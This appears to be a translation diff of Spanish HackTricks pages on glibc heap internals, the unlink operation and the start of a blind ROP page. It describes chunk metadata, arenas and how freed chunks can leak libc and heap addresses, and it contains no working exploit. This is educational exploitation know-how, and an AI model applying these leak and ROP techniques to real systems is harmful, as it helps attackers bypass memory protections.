Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

binary-exploitation/libc-heap/README.md

@@ -1,56 +1,56 @@
-# Montón
+# Libc Heap
 
-## Conceptos básicos del montón
+## Heap Basics
 
-El montón es básicamente el lugar donde un programa podrá almacenar datos cuando solicite datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no sea necesaria, estará disponible llamando a la función **`free`**.
+El heap es básicamente el lugar donde un programa podrá almacenar datos cuando solicita datos llamando a funciones como **`malloc`**, `calloc`... Además, cuando esta memoria ya no es necesaria, se hace disponible llamando a la función **`free`**.
 
-Como se muestra, está justo después de donde se carga el binario en la memoria (ver la sección `[heap]`):
+Como se muestra, está justo después de donde el binario se está cargando en memoria (ver la sección `[heap]`):
 
 <figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
 
-### Asignación básica de fragmentos
+### Basic Chunk Allocation
 
-Cuando se solicita almacenar algunos datos en el montón, se asigna un espacio del montón para ello. Este espacio pertenecerá a un bin y solo se reservará para el fragmento los datos solicitados + el espacio de los encabezados del bin + el desplazamiento mínimo del tamaño del bin. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de cada fragmento. Para esto, se utiliza la información de fragmento de metadatos para saber dónde está cada fragmento usado/libre.
+Cuando se solicita almacenar algunos datos en el heap, se asigna un espacio del heap para ello. Este espacio pertenecerá a un bin y solo se reservarán los datos solicitados + el espacio de los encabezados del bin + el desplazamiento del tamaño mínimo del bin para el chunk. El objetivo es reservar la menor cantidad de memoria posible sin complicar la búsqueda de dónde se encuentra cada chunk. Para esto, se utiliza la información de metadatos del chunk para saber dónde se encuentra cada chunk usado/libre.
 
-Existen diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente:
+Hay diferentes formas de reservar el espacio, principalmente dependiendo del bin utilizado, pero una metodología general es la siguiente:
 
 * El programa comienza solicitando cierta cantidad de memoria.
-* Si en la lista de fragmentos hay alguno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará.
-* Esto incluso podría significar que parte del fragmento disponible se utilizará para esta solicitud y el resto se agregará a la lista de fragmentos.
-* Si no hay ningún fragmento disponible en la lista pero aún hay espacio en la memoria del montón asignada, el administrador del montón crea un nuevo fragmento.
-* Si no hay suficiente espacio en el montón para asignar el nuevo fragmento, el administrador del montón solicita al kernel que expanda la memoria asignada al montón y luego use esta memoria para generar el nuevo fragmento.
-* Si todo falla, `malloc` devuelve nulo.
+* Si en la lista de chunks hay uno disponible lo suficientemente grande para cumplir con la solicitud, se utilizará.
+* Esto puede incluso significar que parte del chunk disponible se utilizará para esta solicitud y el resto se añadirá a la lista de chunks.
+* Si no hay ningún chunk disponible en la lista pero aún hay espacio en la memoria del heap asignada, el administrador del heap crea un nuevo chunk.
+* Si no hay suficiente espacio en el heap para asignar el nuevo chunk, el administrador del heap solicita al kernel que expanda la memoria asignada al heap y luego utiliza esta memoria para generar el nuevo chunk.
+* Si todo falla, `malloc` devuelve null.
 
-Tenga en cuenta que si la memoria solicitada **supera un umbral**, se utilizará **`mmap`** para asignar la memoria solicitada.
+Tenga en cuenta que si la **memoria solicitada supera un umbral**, se utilizará **`mmap`** para mapear la memoria solicitada.
 
 ## Arenas
 
-En aplicaciones **multihilo**, el administrador del montón debe evitar **condiciones de carrera** que podrían provocar bloqueos. Inicialmente, esto se hacía utilizando un **mutex global** para garantizar que solo un hilo pudiera acceder al montón a la vez, pero esto causaba **problemas de rendimiento** debido al cuello de botella inducido por el mutex.
+En aplicaciones **multihilo**, el administrador del heap debe prevenir **condiciones de carrera** que podrían llevar a fallos. Inicialmente, esto se hacía utilizando un **mutex global** para asegurar que solo un hilo pudiera acceder al heap a la vez, pero esto causaba **problemas de rendimiento** debido al cuello de botella inducido por el mutex.
 
-Para abordar esto, el asignador de montón ptmalloc2 introdujo "arenas", donde **cada arena** actúa como un **montón separado** con sus **propias** estructuras de datos y **mutex**, permitiendo que múltiples hilos realicen operaciones de montón sin interferir entre sí, siempre y cuando utilicen arenas diferentes.
+Para abordar esto, el asignador de heap ptmalloc2 introdujo "arenas", donde **cada arena** actúa como un **heap separado** con sus **propias** estructuras de **datos** y **mutex**, permitiendo que múltiples hilos realicen operaciones en el heap sin interferir entre sí, siempre que utilicen diferentes arenas.
 
-La arena "principal" predeterminada maneja las operaciones de montón para aplicaciones de un solo hilo. Cuando se agregan **nuevos hilos**, el administrador del montón les asigna **arenas secundarias** para reducir la contención. Primero intenta adjuntar cada nuevo hilo a una arena no utilizada, creando nuevas si es necesario, hasta un límite de 2 veces el número de núcleos de CPU para sistemas de 32 bits y 8 veces para sistemas de 64 bits. Una vez que se alcanza el límite, los **hilos deben compartir arenas**, lo que puede provocar contención potencial.
+La arena "principal" por defecto maneja operaciones de heap para aplicaciones de un solo hilo. Cuando se añaden **nuevos hilos**, el administrador del heap les asigna **arenas secundarias** para reducir la contención. Primero intenta adjuntar cada nuevo hilo a una arena no utilizada, creando nuevas si es necesario, hasta un límite de 2 veces el número de núcleos de CPU para sistemas de 32 bits y 8 veces para sistemas de 64 bits. Una vez alcanzado el límite, **los hilos deben compartir arenas**, lo que lleva a una posible contención.
 
-A diferencia de la arena principal, que se expande utilizando la llamada al sistema `brk`, las arenas secundarias crean "submontones" utilizando `mmap` y `mprotect` para simular el comportamiento del montón, lo que permite flexibilidad en la gestión de la memoria para operaciones multihilo.
+A diferencia de la arena principal, que se expande utilizando la llamada al sistema `brk`, las arenas secundarias crean "subheaps" utilizando `mmap` y `mprotect` para simular el comportamiento del heap, permitiendo flexibilidad en la gestión de memoria para operaciones multihilo.
 
-### Submontones
+### Subheaps
 
-Los submontones sirven como reservas de memoria para las arenas secundarias en aplicaciones multihilo, lo que les permite crecer y gestionar sus propias regiones de montón de forma independiente al montón principal. Así es como los submontones difieren del montón inicial y cómo operan:
+Los subheaps sirven como reservas de memoria para arenas secundarias en aplicaciones multihilo, permitiéndoles crecer y gestionar sus propias regiones de heap por separado del heap principal. Aquí se explica cómo los subheaps difieren del heap inicial y cómo operan:
 
-1. **Montón inicial vs. Submontones**:
-* El montón inicial se encuentra directamente después del binario del programa en la memoria, y se expande utilizando la llamada al sistema `sbrk`.
-* Los submontones, utilizados por las arenas secundarias, se crean a través de `mmap`, una llamada al sistema que asigna una región de memoria especificada.
-2. **Reserva de memoria con `mmap`**:
-* Cuando el administrador del montón crea un submontón, reserva un bloque grande de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deben utilizar.
-* Por defecto, el tamaño reservado para un submontón es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits.
-3. **Expansión gradual con `mprotect`**:
-* La región de memoria reservada inicialmente se marca como `PROT_NONE`, lo que indica que el kernel no necesita asignar memoria física a este espacio aún.
-* Para "expandir" el submontón, el administrador del montón utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que hace que el kernel asigne memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el submontón se expanda según sea necesario.
-* Una vez que se agota todo el submontón, el administrador del montón crea un nuevo submontón para continuar con la asignación.
+1. **Heap Inicial vs. Subheaps**:
+* El heap inicial se encuentra directamente después del binario del programa en memoria, y se expande utilizando la llamada al sistema `sbrk`.
+* Los subheaps, utilizados por arenas secundarias, se crean a través de `mmap`, una llamada al sistema que mapea una región de memoria especificada.
+2. **Reserva de Memoria con `mmap`**:
+* Cuando el administrador del heap crea un subheap, reserva un gran bloque de memoria a través de `mmap`. Esta reserva no asigna memoria de inmediato; simplemente designa una región que otros procesos del sistema o asignaciones no deberían usar.
+* Por defecto, el tamaño reservado para un subheap es de 1 MB para procesos de 32 bits y 64 MB para procesos de 64 bits.
+3. **Expansión Gradual con `mprotect`**:
+* La región de memoria reservada se marca inicialmente como `PROT_NONE`, indicando que el kernel no necesita asignar memoria física a este espacio aún.
+* Para "hacer crecer" el subheap, el administrador del heap utiliza `mprotect` para cambiar los permisos de página de `PROT_NONE` a `PROT_READ | PROT_WRITE`, lo que lleva al kernel a asignar memoria física a las direcciones previamente reservadas. Este enfoque paso a paso permite que el subheap se expanda según sea necesario.
+* Una vez que se agota todo el subheap, el administrador del heap crea un nuevo subheap para continuar la asignación.
 
 ### heap\_info <a href="#heap_info" id="heap_info"></a>
 
-Esta estructura asigna información relevante del montón. Además, la memoria del montón podría no ser continua después de más asignaciones, esta estructura también almacenará esa información.
+Esta estructura asigna información relevante del heap. Además, la memoria del heap puede no ser continua después de más asignaciones, esta estructura también almacenará esa información.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
 
@@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
 ```
 ### malloc\_state
 
-**Cada montón** (principal o de otras arenas de hilos) tiene una **estructura `malloc_state`.**\
+**Cada heap** (arena principal u otras arenas de hilos) tiene una **estructura `malloc_state`.**\
 Es importante notar que la **estructura `malloc_state` de la arena principal** es una **variable global en la libc** (por lo tanto, ubicada en el espacio de memoria de la libc).\
-En el caso de las **estructuras `malloc_state`** de los montones de hilos, están ubicadas **dentro del "montón" del hilo correspondiente**.
+En el caso de las **estructuras `malloc_state`** de los heaps de hilos, están ubicadas **dentro del "heap" propio del hilo**.
 
-Hay algunas cosas interesantes para notar de esta estructura (ver código en C a continuación):
+Hay algunas cosas interesantes a notar de esta estructura (ver el código C a continuación):
 
-* `__libc_lock_define (, mutex);` está ahí para asegurarse de que esta estructura del montón sea accedida por 1 hilo a la vez
+* `__libc_lock_define (, mutex);` Está ahí para asegurar que esta estructura del heap sea accedida por 1 hilo a la vez
 * Flags:
 * ```c
 #define NONCONTIGUOUS_BIT     (2U)
@@ -86,11 +86,11 @@ Hay algunas cosas interesantes para notar de esta estructura (ver código en C a
 #define set_noncontiguous(M)   ((M)->flags |= NONCONTIGUOUS_BIT)
 #define set_contiguous(M)      ((M)->flags &= ~NONCONTIGUOUS_BIT)
 ```
-* El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos fragmentos** de los **contenedores** pequeños, grandes y desordenados (el -2 es porque el índice 0 no se usa)
-* Por lo tanto, el **primer fragmento** de estos contenedores tendrá un **puntero hacia atrás a esta estructura** y el **último fragmento** de estos contenedores tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes **filtrar estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
+* El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos chunks** de los **bins** pequeños, grandes y no ordenados (el -2 es porque el índice 0 no se usa)
+* Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes l**eak estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
 * Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas
-* El fragmento `top` es el último "fragmento", que es básicamente **todo el espacio restante del montón**. Una vez que el fragmento superior está "vacío", el montón está completamente utilizado y necesita solicitar más espacio.
-* El fragmento `last reminder` proviene de casos en los que no está disponible un fragmento de tamaño exacto y, por lo tanto, se divide un fragmento más grande, una parte restante del puntero se coloca aquí.
+* El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
+* El chunk `last reminder` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, una parte del puntero restante se coloca aquí.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
 
@@ -155,34 +155,34 @@ struct malloc_chunk* bk_nextsize;
 
 typedef struct malloc_chunk* mchunkptr;
 ```
-Como se comentó anteriormente, estos fragmentos también tienen metadatos, muy bien representados en esta imagen:
+Como se comentó anteriormente, estos bloques también tienen algunos metadatos, muy bien representados en esta imagen:
 
 <figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
-Los metadatos suelen ser 0x08B indicando el tamaño actual del fragmento utilizando los últimos 3 bits para indicar:
+Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizando los últimos 3 bits para indicar:
 
-* `A`: Si es 1, proviene de un submontón; si es 0, está en la arena principal
-* `M`: Si es 1, este fragmento es parte de un espacio asignado con mmap y no es parte de un montón
-* `P`: Si es 1, el fragmento anterior está en uso
+* `A`: Si es 1 proviene de un submontículo, si es 0 está en la arena principal
+* `M`: Si es 1, este bloque es parte de un espacio asignado con mmap y no parte de un montículo
+* `P`: Si es 1, el bloque anterior está en uso
 
-Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del fragmento anterior cuando el fragmento está disponible (o para almacenar los datos del usuario cuando está asignado).
+Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado).
 
-Además, cuando está disponible, los datos del usuario se utilizan para contener también algunos datos:
+Además, cuando está disponible, los datos del usuario también se utilizan para contener algunos datos:
 
-* **`fd`**: Puntero al siguiente fragmento
-* **`bk`**: Puntero al fragmento anterior
-* **`fd_nextsize`**: Puntero al primer fragmento en la lista que es más pequeño que él mismo
-* **`bk_nextsize`:** Puntero al primer fragmento en la lista que es más grande que él mismo
+* **`fd`**: Puntero al siguiente bloque
+* **`bk`**: Puntero al bloque anterior
+* **`fd_nextsize`**: Puntero al primer bloque en la lista que es más pequeño que él mismo
+* **`bk_nextsize`:** Puntero al primer bloque en la lista que es más grande que él mismo
 
 <figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
 {% hint style="info" %}
-Observa cómo al enlazar la lista de esta manera se evita la necesidad de tener una matriz donde se registra cada fragmento individualmente.
+Nota cómo enlazar la lista de esta manera evita la necesidad de tener un arreglo donde se registre cada bloque individualmente.
 {% endhint %}
 
-### Punteros de Fragmentos
+### Punteros de Bloque
 
-Cuando se utiliza malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al administrar fragmentos, se necesita un puntero al comienzo de los encabezados (metadatos).\
+Cuando se usa malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al gestionar bloques, se necesita un puntero al principio de los encabezados (metadatos).\
 Para estas conversiones se utilizan estas funciones:
 ```c
 // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -203,7 +203,7 @@ Para estas conversiones se utilizan estas funciones:
 ```
 ### Alineación y tamaño mínimo
 
-El puntero al fragmento y `0x0f` deben ser 0.
+El puntero al chunk y `0x0f` deben ser 0.
 ```c
 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@@ -258,11 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
 return request2size (req);
 }
 ```
-### Obtener datos del Chunk y modificar metadatos
+Nota que para calcular el espacio total necesario, solo se añade `SIZE_SZ` 1 vez porque el campo `prev_size` puede ser utilizado para almacenar datos, por lo tanto, solo se necesita el encabezado inicial.
+
+### Obtener datos del Chunk y alterar metadatos
 
 Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos:
 
-* Verificar flags del chunk
+* Verificar las banderas del chunk
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 
@@ -292,7 +294,7 @@ the chunk to the user, if necessary.  */
 /* Mark a chunk as not being on the main arena.  */
 #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
 ```
-* Tamaños y punteros a otros bloques
+* Tamaños y punteros a otros trozos
 ```c
 /*
 Bits to mask off when extracting size
@@ -349,7 +351,7 @@ people extending or adapting this malloc.
 #define clear_inuse_bit_at_offset(p, s)					      \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
 ```
-* Establecer encabezado y pie de página (cuando los números de fragmento están en uso)
+* Establecer encabezado y pie de página (cuando se utilizan números de fragmento)
 ```c
 /* Set size at head, without disturbing its use bit */
 #define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -360,7 +362,7 @@ people extending or adapting this malloc.
 /* Set size at footer (only when chunk is not in use) */
 #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
 ```
-* Obtener el tamaño de los datos reales utilizables dentro del chunk
+* Obtén el tamaño de los datos utilizables reales dentro del chunk
 ```c
 #pragma GCC poison mchunk_size
 #pragma GCC poison mchunk_prev_size
@@ -391,7 +393,7 @@ return ptr;
 ```
 ## Ejemplos
 
-### Ejemplo rápido de Heap
+### Ejemplo Rápido de Heap
 
 Ejemplo rápido de heap de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) pero en arm64:
 ```c
@@ -406,13 +408,13 @@ ptr = malloc(0x10);
 strcpy(ptr, "panda");
 }
 ```
-Establece un punto de interrupción al final de la función principal y descubramos dónde se almacenó la información:
+Establezca un punto de interrupción al final de la función principal y descubramos dónde se almacenó la información:
 
 <figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
 
-Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Revisando 0x10 bytes antes, es posible ver que el `0x0` representa que el **fragmento anterior no está en uso** (longitud 0) y que la longitud de este fragmento es `0x21`.
+Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Al verificar 0x10 bytes antes, es posible ver que el `0x0` representa que el **chunk anterior no está utilizado** (longitud 0) y que la longitud de este chunk es `0x21`.
 
-Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservaron 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Dado que la longitud siempre está alineada en bloques de 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se van a utilizar por el número de longitud.
+Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservó 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Como la longitud siempre está alineada a 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se van a utilizar por el número de longitud.
 ```
 0x1:     Previous in Use     - Specifies that the chunk before it in memory is in use
 0x2:     Is MMAPPED          - Specifies that the chunk was obtained with mmap()
@@ -466,35 +468,35 @@ return 0;
 ```
 </details>
 
-Depurando el ejemplo anterior es posible ver cómo al principio solo hay 1 arena:
-
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
-
-Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
+Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
 
 <figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-y dentro de ella se pueden encontrar algunos fragmentos:
+Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-## Bins y Asignaciones/Liberaciones de Memoria
+y dentro de ella se pueden encontrar algunos chunks:
 
-Verifique cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en:
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+
+## Bins & Memory Allocations/Frees
+
+Ver cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en:
 
 {% content-ref url="bins-and-memory-allocations.md" %}
 [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
 {% endcontent-ref %}
 
-## Verificaciones de Seguridad de Funciones de Heap
+## Heap Functions Security Checks
 
-Las funciones involucradas en el heap realizarán ciertas comprobaciones antes de realizar sus acciones para intentar asegurarse de que el heap no esté corrompido:
+Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto:
 
 {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
 [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
 {% endcontent-ref %}
 
-## Referencias
+## References
 
 * [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
 * [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -1,8 +1,8 @@
 # unlink
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -10,7 +10,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 
 </details>
 {% endhint %}
@@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
 ```
 ### Explicación Gráfica
 
-Revisa esta excelente explicación gráfica del proceso de unlink:
+Consulta esta gran explicación gráfica del proceso unlink:
 
-<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
 
-### Verificaciones de Seguridad
+### Comprobaciones de Seguridad
 
-* Verificar si el tamaño indicado del chunk es el mismo que el prev\_size indicado en el siguiente chunk
-* También verificar que `P->fd->bk == P` y `P->bk->fw == P`
-* Si el chunk no es pequeño, verificar que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P`
+* Verifica si el tamaño indicado del chunk es el mismo que el prev\_size indicado en el siguiente chunk
+* Verifica también que `P->fd->bk == P` y `P->bk->fw == P`
+* Si el chunk no es pequeño, verifica que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P`
 
-### Filtraciones
+### Fugas
 
-Un chunk unlink no limpia las direcciones asignadas, por lo que al tener acceso a leerlo, es posible filtrar algunas direcciones interesantes:
+Un chunk desvinculado no limpia las direcciones asignadas, por lo que tener acceso a leerlo, es posible filtrar algunas direcciones interesantes:
 
-Filtraciones de Libc:
+Fugas de Libc:
 
-* Si P está ubicado al principio de la lista doblemente enlazada, `bk` apuntará a `malloc_state` en libc
+* Si P está ubicado en la cabeza de la lista doblemente enlazada, `bk` apuntará a `malloc_state` en libc
 * Si P está ubicado al final de la lista doblemente enlazada, `fd` apuntará a `malloc_state` en libc
 * Cuando la lista doblemente enlazada contiene solo un chunk libre, P está en la lista doblemente enlazada, y tanto `fd` como `bk` pueden filtrar la dirección dentro de `malloc_state`.
 
-Filtraciones de Heap:
+Fugas de Heap:
 
-* Si P está ubicado al principio de la lista doblemente enlazada, `fd` apuntará a un chunk disponible en el heap
+* Si P está ubicado en la cabeza de la lista doblemente enlazada, `fd` apuntará a un chunk disponible en el heap
 * Si P está ubicado al final de la lista doblemente enlazada, `bk` apuntará a un chunk disponible en el heap
 * Si P está en la lista doblemente enlazada, tanto `fd` como `bk` apuntarán a un chunk disponible en el heap
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -1,16 +1,16 @@
-# BROP - Programación Orientada a Retorno a Ciegas
+# BROP - Programación Orientada a Retornos Ciega
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Apoya a HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
@@ -20,77 +20,77 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 El objetivo de este ataque es poder **abusar de un ROP a través de un desbordamiento de búfer sin ninguna información sobre el binario vulnerable**.\
 Este ataque se basa en el siguiente escenario:
 
-* Una vulnerabilidad de pila y conocimiento de cómo activarla.
